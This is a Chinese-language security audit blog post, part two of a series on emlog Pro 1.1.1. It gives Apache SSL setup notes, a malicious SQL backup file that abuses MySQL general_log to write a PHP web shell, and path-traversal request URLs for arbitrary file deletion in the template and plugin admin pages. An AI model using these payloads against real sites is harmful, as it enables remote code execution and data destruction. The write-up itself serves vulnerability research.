0x01 前言
应用商店的利用行不通了,,,接上文emlog Pro审计小记从1到0(一)
0x02 插曲
记录一下,利用 phpstudy 开启 443 服务的操作

取消 LoadModule ssl_module modules/mod_ssl.so 前的注释

在 apache 服务 对应的 conf\vhosts 文件夹下 创建文件 vhosts_ssl.conf
Listen 443
SSLStrictSNIVHostCheck off
SSLCipherSuite AESGCM:ALL:!DH:!EXPORT:!RC4:+HIGH:!MEDIUM:!LOW:!aNULL:!eNULL
SSLProtocol all -SSLv2 -SSLv3
<VirtualHost *:443>
DocumentRoot "F:\Tools\phpstudy\WWW" #(网站根目录路径)
ServerName localhost #(更换成自己的域名)
ServerAlias localhost #(更换成自己的域名)
<Directory "F:\Tools\phpstudy\WWW"> #(网站根目录路径)
Options FollowSymLinks ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>
SSLEngine on
SSLCertificateFile "F:\Tools\phpstudy\Extensions\Apache2.4.39\conf\ssl\server.crt" #(证书路径)
SSLCertificateKeyFile "F:\Tools\phpstudy\Extensions\Apache2.4.39\conf\ssl\server.key" #(证书路径)
</VirtualHost>
重启 apache 服务,即ok

备份数据文件 getshell
创建恶意 sql 文件
#version:emlog pro 1.1.1
#date:2022-01-25 12:27
#tableprefix:emlog_
set global general_log=on;
set global general_log_file='F:/Tools/phpstudy/WWW/emlog-pro-1.1.1/emlog-pro-1.1.1/shell.php';
select '<?php phpinfo(); ?>';
#the end of backup
在导入备份文件处导入恶意 sql 文件


http://emlog.test/shell.php

检测了备份 sql 文件的大小,后缀

通过函数 checkSqlFileInfo 检测了sql 文件的文件头,再通过函数 backindata 来执行 sql 文件

将sql文件中的内容以数组的形式保存,然后遍历整个数组内容,通过query()去执行SQL语句。
任意文件删除(emDeleteFile)
通过全局搜索删除函数 unlink,发现函数 emDeleteFile

查找调用函数 emDeleteFile 的地方
删除模板
admin/template.php

对参数 tpl 并未进行过滤,所以可以通过构造数据包实现任意文件删除
http://emlog.test/admin/template.php?action=del&tpl=../../../template.txt&token=debf8f399b7a9f85e85f057245016ab74d9a3809

删除插件
admin/plugin.php

对参数 $plugin 进行了正则处理,正则匹配仅获取了第一个 / 之前的数据,所以可以通过 \ 来进行替换
http://emlog.test/admin/plugin.php?action=del&plugin=..\..\..\plugin.txt&token=debf8f399b7a9f85e85f057245016ab74d9a3809

0x03 小结
目前发现的都是后台利用的漏洞,所以一般适用于二次漏洞利用,,,,